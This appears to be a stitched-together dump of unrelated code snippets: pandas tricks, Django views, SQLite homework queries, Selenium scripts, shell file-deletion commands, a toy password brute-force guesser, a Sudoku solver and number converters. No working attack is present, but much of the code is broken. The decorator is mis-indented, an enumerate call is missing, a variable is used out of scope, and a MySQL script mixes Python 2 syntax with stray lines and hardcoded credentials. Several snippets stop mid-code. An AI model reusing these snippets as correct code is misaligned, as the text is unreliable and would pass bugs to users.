# df.at[index, 'column_name'] = desired_value
df.at[4, 'VALUE'] = 0.064900
import smtplib
from email.mime.text import MIMEText

s = smtplib.SMTP('smtp.uk.xensource.com')
s.set_debuglevel(1)
msg = MIMEText("""body""")
sender = 'me@example.com'
recipients = ['john.doe@example.com', 'john.smith@example.co.uk']
msg['Subject'] = "subject line"
msg['From'] = sender
msg['To'] = ", ".join(recipients)
s.sendmail(sender, recipients, msg.as_string())
def insert(request):
    if request.method == "POST":
        form = UserInfo(request.POST)
        if form.is_valid():
            try:
                form.save()
                return redirect('/')

            except:
                pass
    else:
        form = UserInfo()
    return render(request, 'register.html', {'form': form})


def show(request):
    userdetails = Userdetails.objects.all()
    return render(request, "admin/userinfo.html", {'userdetails': userdetails})


def edit(request, id):
    userinfo = Userdetails.objects.get(id=id)
    return render(request, 'admin/edit.html', {'userinfo': userinfo})


def update(request, id):
    userinfo = Userdetails.objects.get(id=id)
    form = UserInfo(request.POST, instance=userinfo)
    if form.is_valid():
        form.save()
        return redirect("/show")
    return render(request, 'admin/edit.html', {'userinfo': userinfo})


def destroy(request, id):
    userinfo = Userdetails.objects.get(id=id)
    userinfo.delete()
    return redirect("/show")
    
    
    
    
    
    
    
    
    
    
    
    
 # _________Login__________
# def userlogin(request):
#     if request.method == 'POST':
#         username = request.POST['username']
#         password = request.POST['password']
#         user = auth.authenticate(username=username, password=password)
#         if user is not None:
#             auth.login(request, user)
#             return redirect('/afterlogin')
#         else:
#             return redirect('/second')
#     else:
#         return HttpResponse('<script> alert("Submission Error...!!!") </script>')





def userloginf(request):
    if request.method == 'POST':
        username = request.POST['username']
        password = request.POST['password']
        user = authenticate(username=username, password=password)
        if user is not None:
            login(request, user)
            messages.success(request, "Successfully Logged In")
            return redirect('/afterlogin')
        else:
            messages.error(request, "Invalid Crdentials, Please try again")
            return redirect('/dishes')

    return HttpResponse('<script> alert("Submission Error...!!!") </script>')

def afterlogin(request):
    return render(request, "profile.html")   
    
    
    
    
    
    
    
    
    
    
    
    
    
    
import pandas as pd

df = pd.read_parquet("C:/Users/w10/Downloads/pred_exog_mx.parquet")
df.columns
API Accessibility:

Is it necessary to have our API operational throughout the day, or are there specific time slots during which the data infeed and outfeed will occur?
Data Transmission Protocol:

Will the data relating to claims be sent individually, or is there a plan to send them in batches?
If it's the latter, do we have an anticipated number of claims per batch that we should prepare for?
Model Utilization:

We have two distinct models at our disposal: the Audit Finding model and the Recovery Amount model. Is the intention to transmit input and receive output for both models concurrently, or is there a plan in place to have two separate applications, each catering to one model and processing one input-output pair at a time?
import sqlite3
JList = []

class MyJournal:
    
    def __init__(self,id,name):
        self.id = id
        self.name = name
        
    def description(self):
        return "Journal number: " + str(self.id) + " has the name " + self.name

conn = sqlite3.connect('academic_papers_populated.db')

cursor = conn.cursor()


for row in cursor.execute('''SELECT * FROM Journal;'''):

    JList.append(MyJournal(row[0],row[1]))

cursor.close()
import sqlite3
conn = sqlite3.connect('academic_papers_populated.db')

def apaReference(ArticleId):
    SQL = '''SELECT AuthorNumber, LastName, Initials, Year, Title, Name  
             FROM Article as p, Journal as j, Author as a, Article_Authors as b
             WHERE p.JournalID = j.JournalID
             AND p.ArticleID = b.ArticleID
             AND b.AuthorID = a.AuthorID
             AND p.Articleid = :id
             ORDER BY AuthorNumber;'''

    cursor = conn.cursor()
    record = cursor.execute(SQL,{'id':ArticleId}).fetchall()
    cursor.close()
    if len(record) ==0:
        raise Exception("Invalid Article")
    else:
        ref = ''
        count = 0
        for row in record:
            ref = ref + row[1]+', '+row[2]
            count += 1
            if count < len(record):
                if count + 1 < len(record):
                    ref = ref +', '
                else:
                    ref = ref +', & '
        ref = ref + ' (' + str(record[0][3]) + ') '+ record[0][4]+ '. ' +record[0][5]+'.'
        return ref
import sqlite3

# Create a connection to the database
conn = sqlite3.connect('Northwind2020.db')

# Create a cursor object to execute SQL queries
cursor = conn.cursor()

# Retrieve the number of unique suppliers that have discontinued products
query = '''
SELECT COUNT(DISTINCT SupplierId)
FROM Product
WHERE IsDiscontinued = 1
'''

cursor.execute(query)
num_discontinued_suppliers = cursor.fetchone()[0]

# Display an appropriate message based on the number of discontinued suppliers
if num_discontinued_suppliers >= 20:
    print("20 or more suppliers have discontinued products.")
elif num_discontinued_suppliers <= 0:
    print("All products are available.")
else:
    print("Less than 20 suppliers have discontinued products.")

# Close the database connection
conn.close()




import sqlite3
conn = sqlite3.connect('Northwind2020.db')
SQL = '''SELECT COUNT(*)As NoMore
         FROM
         (SELECT Distinct(S.Id)
         FROM Supplier S, Product P
         WHERE S.Id == P.SupplierId
         AND P.IsDiscontinued = 1
         GROUP BY S.CompanyName) '''

cursor = conn.cursor()
cursor.execute(SQL)
answer = cursor.fetchone()

if answer[0]!= None:
    if int((answer[0]) >= 20):
        print("More than 20 suppliers have discontinued products.")
    else:
        print("Less than 20 suppliers have discontinued products.")
else:
    print("All products are available.")
    
cursor.close()
from datetime import datetime

currentyear = 2021
currentmonth = 2
currentday = 10

def validate_age(DOB):
    current_date = datetime(currentyear, currentmonth, currentday)
    day, month, year = map(int, DOB.split('-'))
    dob_date = datetime(year, month, day)
    age_in_years = current_date.year - dob_date.year - ((current_date.month, current_date.day) < (dob_date.month, dob_date.day))
    return age_in_years



currentyear = 2021
currentmonth = 2
currentday = 10

def validate_age(DOB):
    #your code goes here
    b_year = int(DOB[-4:])
    b_month = int(DOB[-7:-5])
    b_day = int(DOB[:2])
    
    age = currentyear - b_year
    if b_month > currentmonth:
        age -= 1
    elif b_month == currentmonth:
        if b_day > currentday:
            age -= 1
    
    return int(age)
import sqlite3

# Connect to the database
conn = sqlite3.connect('BookCollection.db')

# Define the SQL query
query = '''
SELECT Authors.Surname, Authors.Name, Books.Title
FROM Authors
INNER JOIN Books ON Authors.AuthorID = Books.AuthorID
ORDER BY Authors.Surname, Books.Title
'''

# Execute the query and print the results
cursor = conn.cursor()
for row in cursor.execute(query):
    print(row)

# Close the database connection
conn.close()


import sqlite3
conn = sqlite3.connect('BookCollection.db')

cursor = conn.cursor()
for row in cursor.execute('''SELECT Surname, Name, Title
                             FROM Authors, Books
                             WHERE Authors.AuthorID = Books.AuthorID
                             ORDER BY Surname, Name, Title;'''):
    print(row)
cursor.close()
SQL = '''SELECT O.OrderNumber, O.OrderDate, TotalAmount, O.CustomerID
         FROM [Order] O, Customer C
         WHERE O.CustomerID = C.Id
         AND C.Id = :custID'''

for row in cursor.execute(SQL, {'custID':inputid}):
    print(row)
cursor.close()

import sqlite3
conn = sqlite3.connect('Northwind2020.db')

def CustOrderCountDetails(CustomerID):
    cursor = conn.cursor()
    cursor.execute("SELECT FirstName, LastName, COUNT(*) FROM Customer JOIN [Order] ON Customer.Id = [Order].CustomerId WHERE Customer.Id = ? GROUP BY Customer.Id", (CustomerID,))
    result = cursor.fetchone()
    conn.close()
    return f"Customer {result[0]} {result[1]} had a total of {result[2]} orders"





import sqlite3
conn = sqlite3.connect('Northwind2020.db')
    
def CustOrderCountDetails(CustomerID):
    # Your code goes here
    cursor = conn.cursor()

    SQL = '''SELECT FirstName, lastname, COUNT([Order].Id) as OrderCount
    From Customer, [Order]
    WHERE customer.id = CustomerId
    and customer.id = :Cid
    GROUP BY FirstName, LastName'''


    result = cursor.execute(SQL,{'Cid': CustomerID}).fetchone()
    return "Customer " + result[0] + " " + result[1] + " had a total of " + str(result[2]) + " orders"

    cursor.close()
#Approach 1
find . -name "autoencoder_class_*.*" -exec /bin/rm -i {} \;
find . -name "tf_model.h5" -exec /bin/rm -i {} \;

#Approach 2
#1. Display the big files in descending order of size
find . -type f -exec du -h {} + | sort -rh | head -n 20

#2. Delete the files displayed in step 1, one by one
find . -type f -exec du -h {} + | sort -rh | head -n 20 | awk '{print $2}' | xargs -i -p rm '{}'
# Create a function that we can re-use
def show_distribution(var_data):
    '''
    This function will make a distribution (graph) and display it
    '''

    # Get statistics
    min_val = var_data.min()
    max_val = var_data.max()
    mean_val = var_data.mean()
    med_val = var_data.median()
    mod_val = var_data.mode()[0]

    print('Minimum:{:.2f}\nMean:{:.2f}\nMedian:{:.2f}\nMode:{:.2f}\nMaximum:{:.2f}\n'.format(min_val,
                                                                                            mean_val,
                                                                                            med_val,
                                                                                            mod_val,
                                                                                            max_val))

    # Create a figure for 2 subplots (2 rows, 1 column)
    fig, ax = plt.subplots(2, 1, figsize = (10,4))

    # Plot the histogram   
    ax[0].hist(var_data)
    ax[0].set_ylabel('Frequency')

    # Add lines for the mean, median, and mode
    ax[0].axvline(x=min_val, color = 'gray', linestyle='dashed', linewidth = 2)
    ax[0].axvline(x=mean_val, color = 'cyan', linestyle='dashed', linewidth = 2)
    ax[0].axvline(x=med_val, color = 'red', linestyle='dashed', linewidth = 2)
    ax[0].axvline(x=mod_val, color = 'yellow', linestyle='dashed', linewidth = 2)
    ax[0].axvline(x=max_val, color = 'gray', linestyle='dashed', linewidth = 2)

    # Plot the boxplot   
    ax[1].boxplot(var_data, vert=False)
    ax[1].set_xlabel('Value')

    # Add a title to the Figure
    fig.suptitle('Data Distribution')

    # Show the figure
    fig.show()


show_distribution(df_students['Grade'])
import pprint

my_dict = {"name": "John", "age": 30, "city": "New York"}

pp = pprint.PrettyPrinter(indent=4)  # Create a PrettyPrinter object with an indentation of 4 spaces
pp.pprint(my_dict)  # Use the pprint() method to pretty print the dictionary
​"(https:\/\/[\w-]*\.?zoom.us\/(j|my)\/[\d\w?=-]+)"gm
# get the column names and move the last column to the front
cols = list(df.columns)
cols = [cols[-1]] + cols[:-1]

# reindex the dataframe with the new column order
df = df.reindex(columns=cols)
# By comparing itself
def is_nan(val):
  return val != val

nan_value = float("nan")
print(is_nan(nan_value))
# -> True

#Using math.isnan(Import math before using math.isnan)
import math

nan_value = float("NaN")
check_nan = math.isnan(nan_value)
print(check_nan)
# -> True
import win32api

drives = win32api.GetLogicalDriveStrings()
drives = drives.split('\000')[:-1]
print drives
#List of Tuples
list_tuples =  [('Nagendra',18),('Nitesh',28),('Sathya',29)]

#To print the list of tuples using for loop you can print by unpacking them
for name,age in list_tuples:
  print(name,age)

#To print with enumerate--->enumerate is nothing but gives the index of the array.
for index,(name,age) in list_tuples:
  #print using fstring
  print(f'My name is {name} and age is {age} and index is {index}')
  #print using .format
  print('My name is {n} and age is {a} and index is {i}'.format(n=name,a=age,i=index))
 
class AddPath:
    def __init__(self, posix_path):
        self.path = str(posix_path)
    def __enter__(self):
        sys.path.insert(0, self.path)
    def __exit__(self, exc_type, exc_value, traceback):
        try:
            sys.path.remove(self.path)
        except ValueError:
            pass
with AddPath(Path(os.getcwd()).parent / 'pa_core'):
    pa_core = __import__('pa_core')
df_1_fraction = df_1.sample(frac=0.1, random_state=1)
for i in df.columns:
    print ('column :',i, 'is a tuple : ', all(isinstance(x,tuple) for x in df[i]))
import functools
import time
from typing import Callable, Any


def async_timed():
    def wrapper(func: Callable) -> Callable:

    @functools.wraps(func)
    async def wrapped(*args, **kwargs) -> Any:
        print(f'выполняется {func} с аргументами {args} {kwargs}')
        start = time.time()
        try:
            return await func(*args, **kwargs)
        finally:
            end = time.time()
            total = end - start
            print(f'{func} завершилась за {total:.4f} с')
        return wrapped
    return wrapper
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from multiprocessing import Process
import time

# The main process calls this function to create the driver instance.
def createDriverInstance():
    options = Options()
    options.add_argument('--disable-infobars')
    driver = webdriver.Chrome(chrome_options=options, port=9515)
    return driver

# Called by the second process only.
def secondProcess(executor_url, session_id):
    options = Options()
    options.add_argument("--disable-infobars")
    options.add_argument("--enable-file-cookies")
    capabilities = options.to_capabilities()
    same_driver = webdriver.Remote(command_executor=executor_url, desired_capabilities=capabilities)
    same_driver.close()
    same_driver.session_id = session_id
    same_driver.get("https://www.wikipedia.org")
    time.sleep(4)
    same_driver.quit()

if __name__ == '__main__':
    driver = createDriverInstance()
    driver.get("https://google.com")
    time.sleep(2)

    # Pass the driver session and command_executor to the second process.
    p = Process(target=secondProcess, args=(driver.command_executor._url,driver.session_id))
    p.start()
If you are just trying to serialize a list to disk for later use by the same python app, you should be pickleing the list --> https://docs.python.org/3/library/pickle.html

```
import pickle

with open('outfile', 'wb') as fp:
    pickle.dump(itemlist, fp)
```

To read it back:

```
with open ('outfile', 'rb') as fp:
    itemlist = pickle.load(fp)
```
# исходный массив со строками
strs = ['дом', 'домен', 'домра', 'доширак']

# функция, которая найдёт общее начало
def simplelongestCommonPrefix (strs):
	# на старте общее начало пустое
	res = ""
	# получаем пары «номер символа» — «символ» из первого слова
	for i, c in enumerate(strs[0]): 
		# перебираем следующие слова в списке
		for s in strs[1:]: 
			# если это слово короче, чем наш текущий порядковый номер символа
			# или если символ на этом месте не совпадаем с символом на этом же месте из первого слова
			if len(s)<i+1 or s[i] != c: 
				# выходим из функции и возвращаем, что нашли к этому времени
				return res
		# если цикл выполнился штатно
		else:
			# добавляем текущий символ к общему началу
			res += c
	# возвращаем результат
	return res

# выводим результат работы функции
print(simplelongestCommonPrefix(strs))
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from fake_useragent import UserAgent

options = Options()
ua = UserAgent()
userAgent = ua.random
print(userAgent)
options.add_argument(f'user-agent={userAgent}')
driver = webdriver.Chrome(chrome_options=options, executable_path=r'C:\WebDrivers\ChromeDriver\chromedriver_win32\chromedriver.exe')
driver.get("https://www.google.co.in")
driver.quit()
#!/usr/bin/python



-- coding: UTF-8 --


pip install MySQL-python



import MySQLdb, os




try:
    conn = MySQLdb.connect(host='172.17.42.1', user='my_email', passwd='normal', db='database', port=3306)




cur = conn.cursor()
cur.execute('SELECT `id`, `name`, `path`, FROM `doc_file`')

# results
resulsts=cur.fetchall()    id, name, path = r[0], r[1], r[2]

    if path and not os.path.exists(path):
        print 'file not exist: ', id, name, path, flashpath

cur.close()
conn.close()

 



except MySQLdb.Error,e:
     print "Mysql Error %d: %s" % (e.args[0], e.args[1])




</pre> 

 

 



                    
 
#!/usr/bin/env python3
import subprocess
import sys

arg = sys.argv[1]

screeninfo = [
    s for s in subprocess.check_output("xrandr").decode("utf-8").split()\
    if s.count("+") == 2
    ]

if arg == "left":
    match = [s for s in screeninfo if s.endswith("+0+0")][0]
elif arg == "right":
    match = [s for s in screeninfo if not s.endswith("+0+0")][0]

data = [item.split("x") for item in match.split("+")]
numbers = [int(n) for n in [item for sublist in data for item in sublist]]
coord = [str(int(n)) for n in [(numbers[0]/2)+numbers[2], (numbers[1]/2)+numbers[3]]]

subprocess.Popen(["xdotool", "mousemove", coord[0], coord[1]])
tup = ('Timothée', 'Sandro', 'Aurélie', 'Fabrice')
print(tup)
print(tup[2])

y = (1, 6 , 8, 2)
print(y)
print(max(y))

l = list()
print('Methods you can use with a list:')
print(dir(l))

print()

t = tuple()
print('Methods you can use with a tuple:')
print(dir(t))

print()

# Tuples & Assignment
(x, y) = (4, 'Fred')
print(y)

print()

# Tuples & Dictionaries
d = dict()
d['fastoch'] = 82
d['Sandro'] = 16
for k,v in d.items():
    print(k, v)
print()
# The items() method in dictionaries returns a list of (key,value) tuples
tups = d.items()
print(tups)

print()

# Sorting lists of tuples
d = {'b':10, 'd':1, 'c':22, 'e':16, 'a':8}

# First, we sort the sort the dictionary by key using the items() method and sorted() function
print('Not sorted:', d.items())
keySorted = sorted(d.items())
print('Sorted by key:', keySorted)
for k,v in d.items():
    print(k, v)

print()

# Sorting by value instead of key
valuesFirst = list()
for k,v in d.items():
    valuesFirst.append((v,k))
print('(value, key) instead of (key, value):', valuesFirst)

valueSorted = sorted(valuesFirst)
print('Sorted by value:', valueSorted)

valueSortedReversed = sorted(valueSorted, reverse=True)
print('Sorted by value and reversed:', valueSortedReversed)

print()


# The top 10 most common words
fhand = open('romeo-full.txt') # open my file
counts = dict() # create a dictionary for storing each word's count
for line in fhand:
    words = line.split() # turn each line into a list of words
    for word in words:
        counts[word] = counts.get(word, 0) + 1 # initialize or increment counting
# We transfer our dictionary entries into a list of tuples
lst = list() 
for key, val in counts.items():
    newTuple = (val, key) # value becomes first element of each tuple, so that we can later sort by value
    lst.append(newTuple)

lst = sorted(lst, reverse=True) # sorting our list by value and reversing the order so that biggest values come first
# We print out top 10 most common words and the corresponding count
for val, key in lst[:10]:
    print(key, val)

# The split() method splits a string into a list. You can specify the separator, default separator is any whitespace.
print()


# Top 10 most common words - SHORTER VERSION
fhand = open('romeo-full.txt') 
counts = dict() 
for line in fhand:
    words = line.split() # default separator = whitespace
    for word in words:
        counts[word] = counts.get(word, 0) + 1
reversedSortedTuple = sorted([(v,k) for k,v in counts.items()], reverse=True) # reverse=True is for sorting from highest value to lowest
for v,k in reversedSortedTuple[:10]:
    print(k,v)

Regime_Dates_df.index = Regime_Dates_df.DATE
Regime_Dates_df['MONTH_YEAR'] = pd.to_datetime(Regime_Dates_df.index).to_period('M')
>>> text = (("Hi", "Steve!"), ("What's", "up?"))
>>> [word for sentence in text for word in sentence]
['Hi', 'Steve!', "What's", 'up?']

# my version
asd = [ row for row in list_of_rows for column in row if 'Fachdienst PF' in column ]
import numpy as np

def cross_entropy(p, q):
return -sum([p[i] * np.log(q[i]) for i in range(len(p))])

p = [0, 0, 0, 1]
q = [0.45, 0.2, 0.02, 0.33]
cross_entropy(p, q)
import magic

filename = '/home/jovyan/pi-ml/data/images/'+'W074FLEB9138.tiff'

# Open the file in binary mode
with open(filename, 'rb') as f:
    # Create a magic object 
    magic_obj = magic.Magic()

    # Use magic to identify the file type
    file_type = magic_obj.from_buffer(f.read())

print(file_type)
import openai

openai.Completion.create(
  engine="davinci",
  prompt="Make a list of astronomical observatories:"
)
def async_session(func):
    async def wrapper(*args, **kwargs):
        async with get_async_session() as session:
            return await func(session, *args, **kwargs)

    return wrapper
# ----------------------------------------------------------------------------------------------------------------------
@cython.boundscheck(False)
@cython.wraparound(False)
@cython.cdivision(True)
@cython.nonecheck(False)
cpdef object get_boundaries(object data):
    """
    For a given field of pixels, this method returns a black and white mask, by using the "get_row_boundaries" method
    for each row and column.

    This is pretty fast, as it can rely on the power of numpy to do this operation very quickly.
    """
    cdef object rows = data.copy().astype(float)

    # -- row boundaries
    for i in range(len(data)):
        rows[i] = get_row_boundaries(data[i])

    # -- to get the boundary mask of our columns, transpose the image, shifting columns into rows
    cdef object columns = data.copy().T
    cdef object column_data = data.T

    # -- column boundaries
    for i in range(len(column_data)):
        columns[i] = get_row_boundaries(column_data[i])

    # -- having created our column mask, transpose it back.
    columns = columns.T

    # -- now combine both maps.
    return np.maximum(rows, columns)
# ----------------------------------------------------------------------------------------------------------------------
cpdef object get_row_boundaries(object row):
    """
    For a given row of pixels, this method returns a white pixel wherever a transition of values happens. The output is
    pure black and white, and expects an input of pure black and white.

    The way this is achieved, is by shifting the pixels in the row first left, then right, by one pixel. The shifted
    row (missing pixels filled with a value of 0) is then subtracted from the original, resulting in, for the right-
    shifted version, a white pixel where black turned into white, and for the left-shifted version, a white pixel
    where white turned into black.

    Taking the max() value of the combination of both of these gives us our boundary pixels for this row.
    """
    # -- this will give us a white pixel where black turned into white
    rising_diff = row - shift(row, 1, fill_value=0)

    # -- this will give us a white pixel where white turned into black
    decreasing_diff = row - shift(row, -1, fill_value=0)

    # -- this will combine both masks and give us the max() of both combined.
    return np.maximum(rising_diff, decreasing_diff)
Get average of a list

Copy
Julien Delange

Python public recipes


sum(mylist) / len(mylist)
Function to get average of a list
read csv file

Copy
Julien Delange

Python public recipes


with open(file_name, mode ='r', encoding='utf-8') as file:
  # reading the CSV file
  csvFile = csv.DictReader(file)
  # displaying the contents of the CSV file
  for line in csvFile:
    
# For forcefully stopping the program when done.
import sys

# For memory optimization purposes.
import os

# List of all possible characters to search through.
characters = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "`", "-", "=", "[", "]", "\\", ";", "'", ",", ".", "/", "!", "@", "#", "$", "%", "^", "&", "*", "(", ")", "~", "_", "+", "{", "}", "|", ":", '"', "<", ">", "?"]

# Ask for the actual password that is trying to be found.
password = input("Enter the password trying to be brute forced: ")

# What method user wants to go through.
process = input("\nWould you like to display the process?\n\nNote: agreeing to display the process means the program will take a much longer time to run.\n\nSo, yes or no? ")

# Check if the process input is "no".
if process.lower() == "no":
  # Create an empty list to store the indexes of the characters in the password.
  indexes = []

  # loop through each character in the password.
  for character in password:
    # Set the index to 1.
    index = 1
    # Loop through each value in the characters list.
    for value in characters:
      # If the character is found in the characters list, append the index to the indexes list.
      if character == value:
        indexes.append(index)
      # Increment the index if the character is not found.
      else:
        index += 1

  # Set the first index value to 1.
  index = 1
  # Set the second index value to 0.
  index2 = 0
  # Set the number of tries to 0.
  tries = 0
  # Loop through the length of the indexes list minus one.
  for i in range(len(indexes)-1):
    # Calculate the temporary value.
    temp = (94 ** index) * indexes[index2]
    # Add the temporary value to the number of tries.
    tries += temp
    # Increment the second index value and the first index value.
    index2 += 1
    index += 1
    
  # Add the last element of the indexes list to the number of tries.
  tries += indexes[-1]

  # Print the final result of the number of tries taken.
  print("\nThe password was guessed in", tries, "tries.")
  
# Check if the process input is "yes".
elif process.lower() == "yes":
  # Set the guessed password equal to the characters list.
  guessed = characters
  # Set the number of tries to 0 and the guess value to 0.
  tries = 0
  guess = 0
  # Create an empty list for the estimates.
  estimates = []
    
  # Loop through each character in the characters list.
  for character in characters:
    # Increment the number of tries each iteration.
    tries += 1
    
    # Check if the current character is equal to the password.
    if character == password:
      # Print the result and exit the program if the password is guessed.
      print("Password guessed in", tries, "tries.")
      sys.exit()

  # Create an empty list for temporary values.
  temp = []
  # Set the number of loops to 0.
  loops = 0
  
  # Continue looping until the correct password is guessed.
  while guess != password:
    # Loop through each value in the guessed list.
    for value in guessed:
      # Loop through each character in the characters list.
      for character in characters:
        # Combine the current value and character to form a possibility.
        possibility = value + character
        # Increment the number of tries.
        tries += 1
        # Clear the terminal screen.
        os.system('clear')
        # Display the password, current guess, and number of tries.
        print("Password:", password)
        print("Current Guess:", possibility, "\nTry Number", tries)
        
        # Check if the possibility is equal to the password.
        if possibility == password:
          # Print the result and exit the program if the password is guessed.
          print("\nPassword guessed in", tries, "tries.")
          sys.exit()
          
        else:
          # Add the possibility to the temp list if it's not equal to the password.
          temp.append(possibility)
          
    # Set the guessed list to an empty list.
    guessed = []
    # Set the guessed list to the temp list.
    guessed = temp
    # Set the temp list to an empty list.
    temp = []

### RANDOM PASSWORD GENERATOR FOR TESTING ###
import random

desired_length = int(input())

random_output = []

characters = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "`", "-", "=", "[", "]", "\\", ";", "'", ",", ".", "/", "!", "@", "#", "$", "%", "^", "&", "*", "(", ")", "~", "_", "+", "{", "}", "|", ":", '"', "<", ">", "?"]

for iteration in range(desired_length):
    random_output.append(random.choice(characters))	

print(*random_output, sep="")
# Internet Speed tester
# pip install speedtest-cli
import speedtest as st

# Set Best Server
server = st.Speedtest()
server.get_best_server()

# Test Download Speed
down = server.download()
down = down / 1000000
print(f"Download Speed: {down} Mb/s")

# Test Upload Speed
up = server.upload()
up = up / 1000000
print(f"Upload Speed: {up} Mb/s")

# Test Ping
ping = server.results.ping
print(f"Ping Speed: {ping}")

from __future__ import with_statement
import contextlib
try:
	from urllib.parse import urlencode
except ImportError:
	from urllib import urlencode
try:
	from urllib.request import urlopen
except ImportError:
	from urllib2 import urlopen
import sys

def make_tiny(url):
	request_url = ('http://tinyurl.com/app-index.php?' + 
	urlencode({'url':url}))
	with contextlib.closing(urlopen(request_url)) as response:
		return response.read().decode('utf-8')

def main():
	for tinyurl in map(make_tiny, sys.argv[1:]):
		print(tinyurl)

if __name__ == '__main__':
	main()
    

'''

-----------------------------OUTPUT------------------------
python url_shortener.py https://www.wikipedia.org/
https://tinyurl.com/bif4t9

'''
    
from difflib import SequenceMatcher
def plagiarism_checker(f1,f2):
    with open(f1,errors="ignore") as file1,open(f2,errors="ignore") as file2:
        f1_data=file1.read()
        f2_data=file2.read()
        res=SequenceMatcher(None, f1_data, f2_data).ratio()
        
print(f"These files are {res*100} % similar")
f1=input("Enter file_1 path: ")
f2=input("Enter file_2 path: ")
plagiarism_checker(f1, f2)
from fpdf import FPDF
Pdf = FPDF()

list_of_images = ["wall.jpg", "nature.jpg","cat.jpg"]
for i in list_of_images:
   Pdf.add_page()
   Pdf.image(i,x,y,w,h)
   Pdf.output("result.pdf", "F")
import os
import img2pdf
with open("output.pdf", "wb") as file:
   file.write(img2pdf.convert([i for i in os.listdir('path to image') if i.endswith(".jpg")]))
from pygame import mixer
from gtts import gTTS

def main():
   tts = gTTS('Like This Article')
   tts.save('output.mp3')
   mixer.init()
   mixer.music.load('output.mp3')
   mixer.music.play()
   
if __name__ == "__main__":
   main()
import pytube

link = input('Youtube Video URL')
video_download = pytube.Youtube(link)
video_download.streams.first().download()
print('Video Downloaded', link)
import PIL
from PIL import Image
from tkinter.filedialog import *

fl=askopenfilenames()
img = Image.open(fl[0])
img.save("output.jpg", "JPEG", optimize = True, quality = 10)
import PIL
from PIL import Image
from tkinter.filedialog import *

fl=askopenfilenames()
img = Image.open(fl[0])
img.save("output.jpg", "JPEG", optimize = True, quality = 10)
import tabula

filename = input("Enter File Path: ")
df = tabula.read_pdf(filename, encoding='utf-8', spreadsheet=True, pages='1')

df.to_csv('output.csv')
# Python Proofreading
# pip install lmproof
import lmproof
def proofread(text):
    proofread = lmproof.load("en")
    correction = proofread.proofread(text)
    print("Original: {}".format(text))
    print("Correction: {}".format(correction))
    
proofread("Your Text")
from random import*

def set_grid(level):
    grid = [[0]*9 for i in range(9)]
    n_fill = level
    rand_el = randint(1, 9)
    rand_r = randint(0, 8)
    rand_c = randint(0, 8)
   
    while n_fill != 0:
        while not valid_setting(rand_r, rand_c, rand_el, grid):
            rand_el = randint(1, 9)
            rand_r = randint(0, 8)
            rand_c = randint(0, 8)
                   
        grid[rand_r][rand_c] = rand_el
        n_fill -= 1
       
    return grid

def valid_setting(r, c, el, grid):
   
    if grid[r][c] != 0:
        return False


    if el in grid[r]:
        return False
   
    for row in grid:
        if row[c] == el:
            return False

    start_r = r - r % 3
    start_c = c - c % 3

    for r_idx in range(start_r, start_r + 3):
        for c_idx in range(start_c, start_c + 3):
            if grid[r_idx][c_idx] == el:
                return False
    return True

def print_grid(grid):
    print()
    for el in grid:
        print(el)
    print()
   
def move_r(r, c):
    if c == 8:
        return r + 1
    else:
        return r
def move_c(c):
    if c == 8:
        return 0
    else:
        return c + 1

def solve(r, c, grid):
    if r == 9 and c == 0:
        return True
   
    if grid[r][c] != 0:
        return solve(move_r(r, c), move_c(c), grid)
   
    for el in range(1, 10):
        if valid_setting(r, c, el, grid):
            grid[r][c] = el
            if solve(move_r(r, c), move_c(c), grid):
                return True
            grid[r][c] = 0
       
    return False    

def check_solved(gird):
    for r in range(0, 9):
        for c in range(0, 9):
            if not_valid(r, c, grid):
                return False
    return True

def not_valid(r, c, grid):
    el = grid[r][c]
    
    if el in grid[0:r] + grid[r+1:] :
        return True
    
    for row in range(0, 9):
        if grid[row][c] == el:
            if row == r:
                continue
                return True

    start_r = r - r % 3
    start_c = c - c % 3

    for r_idx in range(start_r, start_r + 3):
        for c_idx in range(start_c, start_c + 3):
            if grid[r_idx][c_idx] == el:
                if r_idx == r and c_idx == c:
                    continue
                    return True
    return False
    
grid = set_grid(15)
print_grid(grid)
solve(0, 0, grid)
print_grid(grid)
print("Sudoku Solved: ", check_solved(grid))
def string_to_binary(requested_conversion):
    converted_output = []
    for char in requested_conversion:
        converted_output.append(bin(ord(char)))
    print(*converted_output)

def decimal_to_binary(requested_conversion):
    print(bin(requested_conversion))

def binary_to_decimal(requested_conversion):
    requested_conversion = requested_conversion[2:]
    requested_conversion = requested_conversion[::-1]
    concurrent_bit = 0
    bit_power = 0
    decimal_num = 0
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == '1':
            decimal_num += 2 ** bit_power
        else:
            decimal_num += 0
        concurrent_bit += 1
        bit_power += 1
    print(decimal_num)

# The function below is a copy of the original but for the purpose of the binary_to_string function and binary_to_hex function.
def binary_to_decimal_special(requested_conversion):
    requested_conversion = requested_conversion[2:]
    requested_conversion = requested_conversion[::-1]
    concurrent_bit = 0
    bit_power = 0
    decimal_num = 0
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == '1':
            decimal_num += 2 ** bit_power
        else:
            decimal_num += 0
        concurrent_bit += 1
        bit_power += 1
    return decimal_num

def binary_to_string(requested_conversion):
    requested_conversion = requested_conversion.split(" ")
    list_of_chars_in_string = []
    for char_binary_set in requested_conversion:
        integer_char_code = chr(binary_to_decimal_special(char_binary_set))
        list_of_chars_in_string.append(integer_char_code)
    print(*list_of_chars_in_string, sep="")

def string_to_hex(requested_conversion):
    converted_output = []
    for char in requested_conversion:
        converted_output.append(hex(ord(char)))
    print(*converted_output)
    
def decimal_to_hex(requested_conversion):
    print(hex(requested_conversion))

def hex_to_decimal(requested_conversion):
    requested_conversion = requested_conversion[2:]
    requested_conversion = requested_conversion[::-1]
    concurrent_bit = 0
    bit_power = 0
    decimal_num = 0
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == 'a':
            decimal_num += 10 * (16 ** bit_power)
